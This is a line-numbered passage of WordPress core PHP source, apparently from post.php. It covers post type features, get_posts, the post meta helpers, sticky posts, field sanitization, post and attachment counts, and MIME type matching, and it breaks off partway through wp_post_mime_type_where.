1856 * Remove support for a feature from a post type.
1857 *
1858 * @since 3.0.0
1859 *
1860 * @global array $_wp_post_type_features
1861 *
1862 * @param string $post_type The post type for which to remove the feature.
1863 * @param string $feature The feature being removed.
1864 */
1865function remove_post_type_support( $post_type, $feature ) {
1866 global $_wp_post_type_features;
1867
1868 unset( $_wp_post_type_features[ $post_type ][ $feature ] );
1869}
1870
1871/**
1872 * Get all the post type features
1873 *
1874 * @since 3.4.0
1875 *
1876 * @global array $_wp_post_type_features
1877 *
1878 * @param string $post_type The post type.
1879 * @return array Post type supports list.
1880 */
1881function get_all_post_type_supports( $post_type ) {
1882 global $_wp_post_type_features;
1883
1884 if ( isset( $_wp_post_type_features[ $post_type ] ) ) {
1885 return $_wp_post_type_features[ $post_type ];
1886 }
1887
1888 return array();
1889}
1890
1891/**
1892 * Check a post type's support for a given feature.
1893 *
1894 * @since 3.0.0
1895 *
1896 * @global array $_wp_post_type_features
1897 *
1898 * @param string $post_type The post type being checked.
1899 * @param string $feature The feature being checked.
1900 * @return bool Whether the post type supports the given feature.
1901 */
1902function post_type_supports( $post_type, $feature ) {
1903 global $_wp_post_type_features;
1904
1905 return ( isset( $_wp_post_type_features[ $post_type ][ $feature ] ) );
1906}
1907
1908/**
1909 * Retrieves a list of post type names that support a specific feature.
1910 *
1911 * @since 4.5.0
1912 *
1913 * @global array $_wp_post_type_features Post type features
1914 *
1915 * @param array|string $feature Single feature or an array of features the post types should support.
1916 * @param string $operator Optional. The logical operation to perform. 'or' means
1917 * only one element from the array needs to match; 'and'
1918 * means all elements must match; 'not' means no elements may
1919 * match. Default 'and'.
1920 * @return array A list of post type names.
1921 */
1922function get_post_types_by_support( $feature, $operator = 'and' ) {
1923 global $_wp_post_type_features;
1924
1925 $features = array_fill_keys( (array) $feature, true );
1926
1927 return array_keys( wp_filter_object_list( $_wp_post_type_features, $features, $operator ) );
1928}
1929
1930/**
1931 * Update the post type for the post ID.
1932 *
1933 * The page or post cache will be cleaned for the post ID.
1934 *
1935 * @since 2.5.0
1936 *
1937 * @global wpdb $wpdb WordPress database abstraction object.
1938 *
1939 * @param int $post_id Optional. Post ID to change post type. Default 0.
1940 * @param string $post_type Optional. Post type. Accepts 'post' or 'page' to
1941 * name a few. Default 'post'.
1942 * @return int|false Amount of rows changed. Should be 1 for success and 0 for failure.
1943 */
1944function set_post_type( $post_id = 0, $post_type = 'post' ) {
1945 global $wpdb;
1946
1947 $post_type = sanitize_post_field( 'post_type', $post_type, $post_id, 'db' );
1948 $return = $wpdb->update( $wpdb->posts, array( 'post_type' => $post_type ), array( 'ID' => $post_id ) );
1949
1950 clean_post_cache( $post_id );
1951
1952 return $return;
1953}
1954
1955/**
1956 * Determines whether a post type is considered "viewable".
1957 *
1958 * For built-in post types such as posts and pages, the 'public' value will be evaluated.
1959 * For all others, the 'publicly_queryable' value will be used.
1960 *
1961 * @since 4.4.0
1962 * @since 4.5.0 Added the ability to pass a post type name in addition to object.
1963 * @since 4.6.0 Converted the `$post_type` parameter to accept a `WP_Post_Type` object.
1964 *
1965 * @param string|WP_Post_Type $post_type Post type name or object.
1966 * @return bool Whether the post type should be considered viewable.
1967 */
1968function is_post_type_viewable( $post_type ) {
1969 if ( is_scalar( $post_type ) ) {
1970 $post_type = get_post_type_object( $post_type );
1971 if ( ! $post_type ) {
1972 return false;
1973 }
1974 }
1975
1976 return $post_type->publicly_queryable || ( $post_type->_builtin && $post_type->public );
1977}
1978
1979/**
1980 * Retrieves an array of the latest posts, or posts matching the given criteria.
1981 *
1982 * The defaults are as follows:
1983 *
1984 * @since 1.2.0
1985 *
1986 * @see WP_Query::parse_query()
1987 *
1988 * @param array $args {
1989 * Optional. Arguments to retrieve posts. See WP_Query::parse_query() for all
1990 * available arguments.
1991 *
1992 * @type int $numberposts Total number of posts to retrieve. Is an alias of $posts_per_page
1993 * in WP_Query. Accepts -1 for all. Default 5.
1994 * @type int|string $category Category ID or comma-separated list of IDs (this or any children).
1995 * Is an alias of $cat in WP_Query. Default 0.
1996 * @type array $include An array of post IDs to retrieve, sticky posts will be included.
1997 * Is an alias of $post__in in WP_Query. Default empty array.
1998 * @type array $exclude An array of post IDs not to retrieve. Default empty array.
1999 * @type bool $suppress_filters Whether to suppress filters. Default true.
2000 * }
2001 * @return WP_Post[]|int[] Array of post objects or post IDs.
2002 */
2003function get_posts( $args = null ) {
2004 $defaults = array(
2005 'numberposts' => 5,
2006 'category' => 0,
2007 'orderby' => 'date',
2008 'order' => 'DESC',
2009 'include' => array(),
2010 'exclude' => array(),
2011 'meta_key' => '',
2012 'meta_value' => '',
2013 'post_type' => 'post',
2014 'suppress_filters' => true,
2015 );
2016
2017 $parsed_args = wp_parse_args( $args, $defaults );
2018 if ( empty( $parsed_args['post_status'] ) ) {
2019 $parsed_args['post_status'] = ( 'attachment' == $parsed_args['post_type'] ) ? 'inherit' : 'publish';
2020 }
2021 if ( ! empty( $parsed_args['numberposts'] ) && empty( $parsed_args['posts_per_page'] ) ) {
2022 $parsed_args['posts_per_page'] = $parsed_args['numberposts'];
2023 }
2024 if ( ! empty( $parsed_args['category'] ) ) {
2025 $parsed_args['cat'] = $parsed_args['category'];
2026 }
2027 if ( ! empty( $parsed_args['include'] ) ) {
2028 $incposts = wp_parse_id_list( $parsed_args['include'] );
2029 $parsed_args['posts_per_page'] = count( $incposts ); // only the number of posts included
2030 $parsed_args['post__in'] = $incposts;
2031 } elseif ( ! empty( $parsed_args['exclude'] ) ) {
2032 $parsed_args['post__not_in'] = wp_parse_id_list( $parsed_args['exclude'] );
2033 }
2034
2035 $parsed_args['ignore_sticky_posts'] = true;
2036 $parsed_args['no_found_rows'] = true;
2037
2038 $get_posts = new WP_Query;
2039 return $get_posts->query( $parsed_args );
2040
2041}
2042
2043//
2044// Post meta functions
2045//
2046
2047/**
2048 * Adds a meta field to the given post.
2049 *
2050 * Post meta data is called "Custom Fields" on the Administration Screen.
2051 *
2052 * @since 1.5.0
2053 *
2054 * @param int $post_id Post ID.
2055 * @param string $meta_key Metadata name.
2056 * @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
2057 * @param bool $unique Optional. Whether the same key should not be added.
2058 * Default false.
2059 * @return int|false Meta ID on success, false on failure.
2060 */
2061function add_post_meta( $post_id, $meta_key, $meta_value, $unique = false ) {
2062 // Make sure meta is added to the post, not a revision.
2063 $the_post = wp_is_post_revision( $post_id );
2064 if ( $the_post ) {
2065 $post_id = $the_post;
2066 }
2067
2068 return add_metadata( 'post', $post_id, $meta_key, $meta_value, $unique );
2069}
2070
2071/**
2072 * Deletes a post meta field for the given post ID.
2073 *
2074 * You can match based on the key, or key and value. Removing based on key and
2075 * value, will keep from removing duplicate metadata with the same key. It also
2076 * allows removing all metadata matching the key, if needed.
2077 *
2078 * @since 1.5.0
2079 *
2080 * @param int $post_id Post ID.
2081 * @param string $meta_key Metadata name.
2082 * @param mixed $meta_value Optional. Metadata value. Must be serializable if
2083 * non-scalar. Default empty.
2084 * @return bool True on success, false on failure.
2085 */
2086function delete_post_meta( $post_id, $meta_key, $meta_value = '' ) {
2087 // Make sure meta is added to the post, not a revision.
2088 $the_post = wp_is_post_revision( $post_id );
2089 if ( $the_post ) {
2090 $post_id = $the_post;
2091 }
2092
2093 return delete_metadata( 'post', $post_id, $meta_key, $meta_value );
2094}
2095
2096/**
2097 * Retrieves a post meta field for the given post ID.
2098 *
2099 * @since 1.5.0
2100 *
2101 * @param int $post_id Post ID.
2102 * @param string $key Optional. The meta key to retrieve. By default, returns
2103 * data for all keys. Default empty.
2104 * @param bool $single Optional. If true, returns only the first value for the specified meta key.
2105 * This parameter has no effect if $key is not specified. Default false.
2106 * @return mixed Will be an array if $single is false. Will be value of the meta
2107 * field if $single is true.
2108 */
2109function get_post_meta( $post_id, $key = '', $single = false ) {
2110 return get_metadata( 'post', $post_id, $key, $single );
2111}
2112
2113/**
2114 * Updates a post meta field based on the given post ID.
2115 *
2116 * Use the `$prev_value` parameter to differentiate between meta fields with the
2117 * same key and post ID.
2118 *
2119 * If the meta field for the post does not exist, it will be added and its ID returned.
2120 *
2121 * Can be used in place of add_post_meta().
2122 *
2123 * @since 1.5.0
2124 *
2125 * @param int $post_id Post ID.
2126 * @param string $meta_key Metadata key.
2127 * @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
2128 * @param mixed $prev_value Optional. Previous value to check before updating.
2129 * @return int|bool The new meta field ID if a field with the given key didn't exist and was
2130 * therefore added, true on successful update, false on failure.
2131 */
2132function update_post_meta( $post_id, $meta_key, $meta_value, $prev_value = '' ) {
2133 // Make sure meta is added to the post, not a revision.
2134 $the_post = wp_is_post_revision( $post_id );
2135 if ( $the_post ) {
2136 $post_id = $the_post;
2137 }
2138
2139 return update_metadata( 'post', $post_id, $meta_key, $meta_value, $prev_value );
2140}
2141
2142/**
2143 * Deletes everything from post meta matching the given meta key.
2144 *
2145 * @since 2.3.0
2146 *
2147 * @param string $post_meta_key Key to search for when deleting.
2148 * @return bool Whether the post meta key was deleted from the database.
2149 */
2150function delete_post_meta_by_key( $post_meta_key ) {
2151 return delete_metadata( 'post', null, $post_meta_key, '', true );
2152}
2153
2154/**
2155 * Registers a meta key for posts.
2156 *
2157 * @since 4.9.8
2158 *
2159 * @param string $post_type Post type to register a meta key for. Pass an empty string
2160 * to register the meta key across all existing post types.
2161 * @param string $meta_key The meta key to register.
2162 * @param array $args Data used to describe the meta key when registered. See
2163 * {@see register_meta()} for a list of supported arguments.
2164 * @return bool True if the meta key was successfully registered, false if not.
2165 */
2166function register_post_meta( $post_type, $meta_key, array $args ) {
2167 $args['object_subtype'] = $post_type;
2168
2169 return register_meta( 'post', $meta_key, $args );
2170}
2171
2172/**
2173 * Unregisters a meta key for posts.
2174 *
2175 * @since 4.9.8
2176 *
2177 * @param string $post_type Post type the meta key is currently registered for. Pass
2178 * an empty string if the meta key is registered across all
2179 * existing post types.
2180 * @param string $meta_key The meta key to unregister.
2181 * @return bool True on success, false if the meta key was not previously registered.
2182 */
2183function unregister_post_meta( $post_type, $meta_key ) {
2184 return unregister_meta_key( 'post', $meta_key, $post_type );
2185}
2186
2187/**
2188 * Retrieve post meta fields, based on post ID.
2189 *
2190 * The post meta fields are retrieved from the cache where possible,
2191 * so the function is optimized to be called more than once.
2192 *
2193 * @since 1.2.0
2194 *
2195 * @param int $post_id Optional. Post ID. Default is ID of the global $post.
2196 * @return array Post meta for the given post.
2197 */
2198function get_post_custom( $post_id = 0 ) {
2199 $post_id = absint( $post_id );
2200 if ( ! $post_id ) {
2201 $post_id = get_the_ID();
2202 }
2203
2204 return get_post_meta( $post_id );
2205}
2206
2207/**
2208 * Retrieve meta field names for a post.
2209 *
2210 * If there are no meta fields, then nothing (null) will be returned.
2211 *
2212 * @since 1.2.0
2213 *
2214 * @param int $post_id Optional. Post ID. Default is ID of the global $post.
2215 * @return array|void Array of the keys, if retrieved.
2216 */
2217function get_post_custom_keys( $post_id = 0 ) {
2218 $custom = get_post_custom( $post_id );
2219
2220 if ( ! is_array( $custom ) ) {
2221 return;
2222 }
2223
2224 $keys = array_keys( $custom );
2225 if ( $keys ) {
2226 return $keys;
2227 }
2228}
2229
2230/**
2231 * Retrieve values for a custom post field.
2232 *
2233 * The parameters must not be considered optional. All of the post meta fields
2234 * will be retrieved and only the meta field key values returned.
2235 *
2236 * @since 1.2.0
2237 *
2238 * @param string $key Optional. Meta field key. Default empty.
2239 * @param int $post_id Optional. Post ID. Default is ID of the global $post.
2240 * @return array|null Meta field values.
2241 */
2242function get_post_custom_values( $key = '', $post_id = 0 ) {
2243 if ( ! $key ) {
2244 return null;
2245 }
2246
2247 $custom = get_post_custom( $post_id );
2248
2249 return isset( $custom[ $key ] ) ? $custom[ $key ] : null;
2250}
2251
2252/**
2253 * Determines whether a post is sticky.
2254 *
2255 * Sticky posts should remain at the top of The Loop. If the post ID is not
2256 * given, then The Loop ID for the current post will be used.
2257 *
2258 * For more information on this and similar theme functions, check out
2259 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
2260 * Conditional Tags} article in the Theme Developer Handbook.
2261 *
2262 * @since 2.7.0
2263 *
2264 * @param int $post_id Optional. Post ID. Default is ID of the global $post.
2265 * @return bool Whether post is sticky.
2266 */
2267function is_sticky( $post_id = 0 ) {
2268 $post_id = absint( $post_id );
2269
2270 if ( ! $post_id ) {
2271 $post_id = get_the_ID();
2272 }
2273
2274 $stickies = get_option( 'sticky_posts' );
2275
2276 $is_sticky = is_array( $stickies ) && in_array( $post_id, $stickies );
2277
2278 /**
2279 * Filters whether a post is sticky.
2280 *
2281 * @since 5.3.0
2282 *
2283 * @param bool $is_sticky Whether a post is sticky.
2284 * @param int $post_id Post ID.
2285 */
2286 return apply_filters( 'is_sticky', $is_sticky, $post_id );
2287}
2288
2289/**
2290 * Sanitize every post field.
2291 *
2292 * If the context is 'raw', then the post object or array will get minimal
2293 * sanitization of the integer fields.
2294 *
2295 * @since 2.3.0
2296 *
2297 * @see sanitize_post_field()
2298 *
2299 * @param object|WP_Post|array $post The Post Object or Array
2300 * @param string $context Optional. How to sanitize post fields.
2301 * Accepts 'raw', 'edit', 'db', or 'display'.
2302 * Default 'display'.
2303 * @return object|WP_Post|array The now sanitized Post Object or Array (will be the
2304 * same type as $post).
2305 */
2306function sanitize_post( $post, $context = 'display' ) {
2307 if ( is_object( $post ) ) {
2308 // Check if post already filtered for this context.
2309 if ( isset( $post->filter ) && $context == $post->filter ) {
2310 return $post;
2311 }
2312 if ( ! isset( $post->ID ) ) {
2313 $post->ID = 0;
2314 }
2315 foreach ( array_keys( get_object_vars( $post ) ) as $field ) {
2316 $post->$field = sanitize_post_field( $field, $post->$field, $post->ID, $context );
2317 }
2318 $post->filter = $context;
2319 } elseif ( is_array( $post ) ) {
2320 // Check if post already filtered for this context.
2321 if ( isset( $post['filter'] ) && $context == $post['filter'] ) {
2322 return $post;
2323 }
2324 if ( ! isset( $post['ID'] ) ) {
2325 $post['ID'] = 0;
2326 }
2327 foreach ( array_keys( $post ) as $field ) {
2328 $post[ $field ] = sanitize_post_field( $field, $post[ $field ], $post['ID'], $context );
2329 }
2330 $post['filter'] = $context;
2331 }
2332 return $post;
2333}
2334
2335/**
2336 * Sanitize post field based on context.
2337 *
2338 * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and
2339 * 'js'. The 'display' context is used by default. 'attribute' and 'js' contexts
2340 * are treated like 'display' when calling filters.
2341 *
2342 * @since 2.3.0
2343 * @since 4.4.0 Like `sanitize_post()`, `$context` defaults to 'display'.
2344 *
2345 * @param string $field The Post Object field name.
2346 * @param mixed $value The Post Object value.
2347 * @param int $post_id Post ID.
2348 * @param string $context Optional. How to sanitize post fields. Looks for 'raw', 'edit',
2349 * 'db', 'display', 'attribute' and 'js'. Default 'display'.
2350 * @return mixed Sanitized value.
2351 */
2352function sanitize_post_field( $field, $value, $post_id, $context = 'display' ) {
2353 $int_fields = array( 'ID', 'post_parent', 'menu_order' );
2354 if ( in_array( $field, $int_fields ) ) {
2355 $value = (int) $value;
2356 }
2357
2358 // Fields which contain arrays of integers.
2359 $array_int_fields = array( 'ancestors' );
2360 if ( in_array( $field, $array_int_fields ) ) {
2361 $value = array_map( 'absint', $value );
2362 return $value;
2363 }
2364
2365 if ( 'raw' == $context ) {
2366 return $value;
2367 }
2368
2369 $prefixed = false;
2370 if ( false !== strpos( $field, 'post_' ) ) {
2371 $prefixed = true;
2372 $field_no_prefix = str_replace( 'post_', '', $field );
2373 }
2374
2375 if ( 'edit' == $context ) {
2376 $format_to_edit = array( 'post_content', 'post_excerpt', 'post_title', 'post_password' );
2377
2378 if ( $prefixed ) {
2379
2380 /**
2381 * Filters the value of a specific post field to edit.
2382 *
2383 * The dynamic portion of the hook name, `$field`, refers to the post
2384 * field name.
2385 *
2386 * @since 2.3.0
2387 *
2388 * @param mixed $value Value of the post field.
2389 * @param int $post_id Post ID.
2390 */
2391 $value = apply_filters( "edit_{$field}", $value, $post_id );
2392
2393 /**
2394 * Filters the value of a specific post field to edit.
2395 *
2396 * The dynamic portion of the hook name, `$field_no_prefix`, refers to
2397 * the post field name.
2398 *
2399 * @since 2.3.0
2400 *
2401 * @param mixed $value Value of the post field.
2402 * @param int $post_id Post ID.
2403 */
2404 $value = apply_filters( "{$field_no_prefix}_edit_pre", $value, $post_id );
2405 } else {
2406 $value = apply_filters( "edit_post_{$field}", $value, $post_id );
2407 }
2408
2409 if ( in_array( $field, $format_to_edit ) ) {
2410 if ( 'post_content' == $field ) {
2411 $value = format_to_edit( $value, user_can_richedit() );
2412 } else {
2413 $value = format_to_edit( $value );
2414 }
2415 } else {
2416 $value = esc_attr( $value );
2417 }
2418 } elseif ( 'db' == $context ) {
2419 if ( $prefixed ) {
2420
2421 /**
2422 * Filters the value of a specific post field before saving.
2423 *
2424 * The dynamic portion of the hook name, `$field`, refers to the post
2425 * field name.
2426 *
2427 * @since 2.3.0
2428 *
2429 * @param mixed $value Value of the post field.
2430 */
2431 $value = apply_filters( "pre_{$field}", $value );
2432
2433 /**
2434 * Filters the value of a specific field before saving.
2435 *
2436 * The dynamic portion of the hook name, `$field_no_prefix`, refers
2437 * to the post field name.
2438 *
2439 * @since 2.3.0
2440 *
2441 * @param mixed $value Value of the post field.
2442 */
2443 $value = apply_filters( "{$field_no_prefix}_save_pre", $value );
2444 } else {
2445 $value = apply_filters( "pre_post_{$field}", $value );
2446
2447 /**
2448 * Filters the value of a specific post field before saving.
2449 *
2450 * The dynamic portion of the hook name, `$field`, refers to the post
2451 * field name.
2452 *
2453 * @since 2.3.0
2454 *
2455 * @param mixed $value Value of the post field.
2456 */
2457 $value = apply_filters( "{$field}_pre", $value );
2458 }
2459 } else {
2460
2461 // Use display filters by default.
2462 if ( $prefixed ) {
2463
2464 /**
2465 * Filters the value of a specific post field for display.
2466 *
2467 * The dynamic portion of the hook name, `$field`, refers to the post
2468 * field name.
2469 *
2470 * @since 2.3.0
2471 *
2472 * @param mixed $value Value of the prefixed post field.
2473 * @param int $post_id Post ID.
2474 * @param string $context Context for how to sanitize the field. Possible
2475 * values include 'raw', 'edit', 'db', 'display',
2476 * 'attribute' and 'js'.
2477 */
2478 $value = apply_filters( "{$field}", $value, $post_id, $context );
2479 } else {
2480 $value = apply_filters( "post_{$field}", $value, $post_id, $context );
2481 }
2482
2483 if ( 'attribute' == $context ) {
2484 $value = esc_attr( $value );
2485 } elseif ( 'js' == $context ) {
2486 $value = esc_js( $value );
2487 }
2488 }
2489
2490 return $value;
2491}
2492
2493/**
2494 * Make a post sticky.
2495 *
2496 * Sticky posts should be displayed at the top of the front page.
2497 *
2498 * @since 2.7.0
2499 *
2500 * @param int $post_id Post ID.
2501 */
2502function stick_post( $post_id ) {
2503 $stickies = get_option( 'sticky_posts' );
2504
2505 if ( ! is_array( $stickies ) ) {
2506 $stickies = array( $post_id );
2507 }
2508
2509 if ( ! in_array( $post_id, $stickies ) ) {
2510 $stickies[] = $post_id;
2511 }
2512
2513 $updated = update_option( 'sticky_posts', $stickies );
2514
2515 if ( $updated ) {
2516 /**
2517 * Fires once a post has been added to the sticky list.
2518 *
2519 * @since 4.6.0
2520 *
2521 * @param int $post_id ID of the post that was stuck.
2522 */
2523 do_action( 'post_stuck', $post_id );
2524 }
2525}
2526
2527/**
2528 * Un-stick a post.
2529 *
2530 * Sticky posts should be displayed at the top of the front page.
2531 *
2532 * @since 2.7.0
2533 *
2534 * @param int $post_id Post ID.
2535 */
2536function unstick_post( $post_id ) {
2537 $stickies = get_option( 'sticky_posts' );
2538
2539 if ( ! is_array( $stickies ) ) {
2540 return;
2541 }
2542
2543 if ( ! in_array( $post_id, $stickies ) ) {
2544 return;
2545 }
2546
2547 $offset = array_search( $post_id, $stickies );
2548 if ( false === $offset ) {
2549 return;
2550 }
2551
2552 array_splice( $stickies, $offset, 1 );
2553
2554 $updated = update_option( 'sticky_posts', $stickies );
2555
2556 if ( $updated ) {
2557 /**
2558 * Fires once a post has been removed from the sticky list.
2559 *
2560 * @since 4.6.0
2561 *
2562 * @param int $post_id ID of the post that was unstuck.
2563 */
2564 do_action( 'post_unstuck', $post_id );
2565 }
2566}
2567
2568/**
2569 * Return the cache key for wp_count_posts() based on the passed arguments.
2570 *
2571 * @since 3.9.0
2572 * @access private
2573 *
2574 * @param string $type Optional. Post type to retrieve count Default 'post'.
2575 * @param string $perm Optional. 'readable' or empty. Default empty.
2576 * @return string The cache key.
2577 */
2578function _count_posts_cache_key( $type = 'post', $perm = '' ) {
2579 $cache_key = 'posts-' . $type;
2580 if ( 'readable' == $perm && is_user_logged_in() ) {
2581 $post_type_object = get_post_type_object( $type );
2582 if ( $post_type_object && ! current_user_can( $post_type_object->cap->read_private_posts ) ) {
2583 $cache_key .= '_' . $perm . '_' . get_current_user_id();
2584 }
2585 }
2586 return $cache_key;
2587}
2588
2589/**
2590 * Count number of posts of a post type and if user has permissions to view.
2591 *
2592 * This function provides an efficient method of finding the amount of post's
2593 * type a blog has. Another method is to count the amount of items in
2594 * get_posts(), but that method has a lot of overhead with doing so. Therefore,
2595 * when developing for 2.5+, use this function instead.
2596 *
2597 * The $perm parameter checks for 'readable' value and if the user can read
2598 * private posts, it will display that for the user that is signed in.
2599 *
2600 * @since 2.5.0
2601 *
2602 * @global wpdb $wpdb WordPress database abstraction object.
2603 *
2604 * @param string $type Optional. Post type to retrieve count. Default 'post'.
2605 * @param string $perm Optional. 'readable' or empty. Default empty.
2606 * @return object Number of posts for each status.
2607 */
2608function wp_count_posts( $type = 'post', $perm = '' ) {
2609 global $wpdb;
2610
2611 if ( ! post_type_exists( $type ) ) {
2612 return new stdClass;
2613 }
2614
2615 $cache_key = _count_posts_cache_key( $type, $perm );
2616
2617 $counts = wp_cache_get( $cache_key, 'counts' );
2618 if ( false !== $counts ) {
2619 /** This filter is documented in wp-includes/post.php */
2620 return apply_filters( 'wp_count_posts', $counts, $type, $perm );
2621 }
2622
2623 $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
2624 if ( 'readable' == $perm && is_user_logged_in() ) {
2625 $post_type_object = get_post_type_object( $type );
2626 if ( ! current_user_can( $post_type_object->cap->read_private_posts ) ) {
2627 $query .= $wpdb->prepare(
2628 " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))",
2629 get_current_user_id()
2630 );
2631 }
2632 }
2633 $query .= ' GROUP BY post_status';
2634
2635 $results = (array) $wpdb->get_results( $wpdb->prepare( $query, $type ), ARRAY_A );
2636 $counts = array_fill_keys( get_post_stati(), 0 );
2637
2638 foreach ( $results as $row ) {
2639 $counts[ $row['post_status'] ] = $row['num_posts'];
2640 }
2641
2642 $counts = (object) $counts;
2643 wp_cache_set( $cache_key, $counts, 'counts' );
2644
2645 /**
2646 * Modify returned post counts by status for the current post type.
2647 *
2648 * @since 3.7.0
2649 *
2650 * @param object $counts An object containing the current post_type's post
2651 * counts by status.
2652 * @param string $type Post type.
2653 * @param string $perm The permission to determine if the posts are 'readable'
2654 * by the current user.
2655 */
2656 return apply_filters( 'wp_count_posts', $counts, $type, $perm );
2657}
2658
2659/**
2660 * Count number of attachments for the mime type(s).
2661 *
2662 * If you set the optional mime_type parameter, then an array will still be
2663 * returned, but will only have the item you are looking for. It does not give
2664 * you the number of attachments that are children of a post. You can get that
2665 * by counting the number of children that post has.
2666 *
2667 * @since 2.5.0
2668 *
2669 * @global wpdb $wpdb WordPress database abstraction object.
2670 *
2671 * @param string|array $mime_type Optional. Array or comma-separated list of
2672 * MIME patterns. Default empty.
2673 * @return object An object containing the attachment counts by mime type.
2674 */
2675function wp_count_attachments( $mime_type = '' ) {
2676 global $wpdb;
2677
2678 $and = wp_post_mime_type_where( $mime_type );
2679 $count = $wpdb->get_results( "SELECT post_mime_type, COUNT( * ) AS num_posts FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' $and GROUP BY post_mime_type", ARRAY_A );
2680
2681 $counts = array();
2682 foreach ( (array) $count as $row ) {
2683 $counts[ $row['post_mime_type'] ] = $row['num_posts'];
2684 }
2685 $counts['trash'] = $wpdb->get_var( "SELECT COUNT( * ) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status = 'trash' $and" );
2686
2687 /**
2688 * Modify returned attachment counts by mime type.
2689 *
2690 * @since 3.7.0
2691 *
2692 * @param object $counts An object containing the attachment counts by
2693 * mime type.
2694 * @param string $mime_type The mime type pattern used to filter the attachments
2695 * counted.
2696 */
2697 return apply_filters( 'wp_count_attachments', (object) $counts, $mime_type );
2698}
2699
2700/**
2701 * Get default post mime types.
2702 *
2703 * @since 2.9.0
2704 * @since 5.3.0 Added the 'Documents', 'Spreadsheets', and 'Archives' mime type groups.
2705 *
2706 * @return array List of post mime types.
2707 */
2708function get_post_mime_types() {
2709 $post_mime_types = array( // array( adj, noun )
2710 'image' => array(
2711 __( 'Images' ),
2712 __( 'Manage Images' ),
2713 /* translators: %s: Number of images. */
2714 _n_noop(
2715 'Image <span class="count">(%s)</span>',
2716 'Images <span class="count">(%s)</span>'
2717 ),
2718 ),
2719 'audio' => array(
2720 __( 'Audio' ),
2721 __( 'Manage Audio' ),
2722 /* translators: %s: Number of audio files. */
2723 _n_noop(
2724 'Audio <span class="count">(%s)</span>',
2725 'Audio <span class="count">(%s)</span>'
2726 ),
2727 ),
2728 'video' => array(
2729 __( 'Video' ),
2730 __( 'Manage Video' ),
2731 /* translators: %s: Number of video files. */
2732 _n_noop(
2733 'Video <span class="count">(%s)</span>',
2734 'Video <span class="count">(%s)</span>'
2735 ),
2736 ),
2737 'document' => array(
2738 __( 'Documents' ),
2739 __( 'Manage Documents' ),
2740 /* translators: %s: Number of documents. */
2741 _n_noop(
2742 'Document <span class="count">(%s)</span>',
2743 'Documents <span class="count">(%s)</span>'
2744 ),
2745 ),
2746 'spreadsheet' => array(
2747 __( 'Spreadsheets' ),
2748 __( 'Manage Spreadsheets' ),
2749 /* translators: %s: Number of spreadsheets. */
2750 _n_noop(
2751 'Spreadsheet <span class="count">(%s)</span>',
2752 'Spreadsheets <span class="count">(%s)</span>'
2753 ),
2754 ),
2755 'archive' => array(
2756 _x( 'Archives', 'file type group' ),
2757 __( 'Manage Archives' ),
2758 /* translators: %s: Number of archives. */
2759 _n_noop(
2760 'Archive <span class="count">(%s)</span>',
2761 'Archives <span class="count">(%s)</span>'
2762 ),
2763 ),
2764 );
2765
2766 $ext_types = wp_get_ext_types();
2767 $mime_types = wp_get_mime_types();
2768
2769 foreach ( $post_mime_types as $group => $labels ) {
2770 if ( in_array( $group, array( 'image', 'audio', 'video' ) ) ) {
2771 continue;
2772 }
2773
2774 if ( ! isset( $ext_types[ $group ] ) ) {
2775 unset( $post_mime_types[ $group ] );
2776 continue;
2777 }
2778
2779 $group_mime_types = array();
2780 foreach ( $ext_types[ $group ] as $extension ) {
2781 foreach ( $mime_types as $exts => $mime ) {
2782 if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
2783 $group_mime_types[] = $mime;
2784 break;
2785 }
2786 }
2787 }
2788 $group_mime_types = implode( ',', array_unique( $group_mime_types ) );
2789
2790 $post_mime_types[ $group_mime_types ] = $labels;
2791 unset( $post_mime_types[ $group ] );
2792 }
2793
2794 /**
2795 * Filters the default list of post mime types.
2796 *
2797 * @since 2.5.0
2798 *
2799 * @param array $post_mime_types Default list of post mime types.
2800 */
2801 return apply_filters( 'post_mime_types', $post_mime_types );
2802}
2803
2804/**
2805 * Check a MIME-Type against a list.
2806 *
2807 * If the wildcard_mime_types parameter is a string, it must be comma separated
2808 * list. If the real_mime_types is a string, it is also comma separated to
2809 * create the list.
2810 *
2811 * @since 2.5.0
2812 *
2813 * @param string|array $wildcard_mime_types Mime types, e.g. audio/mpeg or image (same as image/*)
2814 * or flash (same as *flash*).
2815 * @param string|array $real_mime_types Real post mime type values.
2816 * @return array array(wildcard=>array(real types)).
2817 */
2818function wp_match_mime_types( $wildcard_mime_types, $real_mime_types ) {
2819 $matches = array();
2820 if ( is_string( $wildcard_mime_types ) ) {
2821 $wildcard_mime_types = array_map( 'trim', explode( ',', $wildcard_mime_types ) );
2822 }
2823 if ( is_string( $real_mime_types ) ) {
2824 $real_mime_types = array_map( 'trim', explode( ',', $real_mime_types ) );
2825 }
2826
2827 $patternses = array();
2828 $wild = '[-._a-z0-9]*';
2829
2830 foreach ( (array) $wildcard_mime_types as $type ) {
2831 $mimes = array_map( 'trim', explode( ',', $type ) );
2832 foreach ( $mimes as $mime ) {
2833 $regex = str_replace( '__wildcard__', $wild, preg_quote( str_replace( '*', '__wildcard__', $mime ) ) );
2834 $patternses[][ $type ] = "^$regex$";
2835 if ( false === strpos( $mime, '/' ) ) {
2836 $patternses[][ $type ] = "^$regex/";
2837 $patternses[][ $type ] = $regex;
2838 }
2839 }
2840 }
2841 asort( $patternses );
2842
2843 foreach ( $patternses as $patterns ) {
2844 foreach ( $patterns as $type => $pattern ) {
2845 foreach ( (array) $real_mime_types as $real ) {
2846 if ( preg_match( "#$pattern#", $real ) && ( empty( $matches[ $type ] ) || false === array_search( $real, $matches[ $type ] ) ) ) {
2847 $matches[ $type ][] = $real;
2848 }
2849 }
2850 }
2851 }
2852 return $matches;
2853}
2854
2855/**
2856 * Convert MIME types into SQL.
2857 *
2858 * @since 2.5.0
2859 *
2860 * @param string|array $post_mime_types List of mime types or comma separated string
2861 * of mime types.
2862 * @param string $table_alias Optional. Specify a table alias, if needed.
2863 * Default empty.
2864 * @return string The SQL AND clause for mime searching.
2865 */
2866function wp_post_mime_type_where( $post_mime_types, $table_alias = '' ) {
2867 $where = '';
2868 $wildcards = array( '', '%', '%/%' );
2869 if ( is_string( $post_mime_types ) ) {
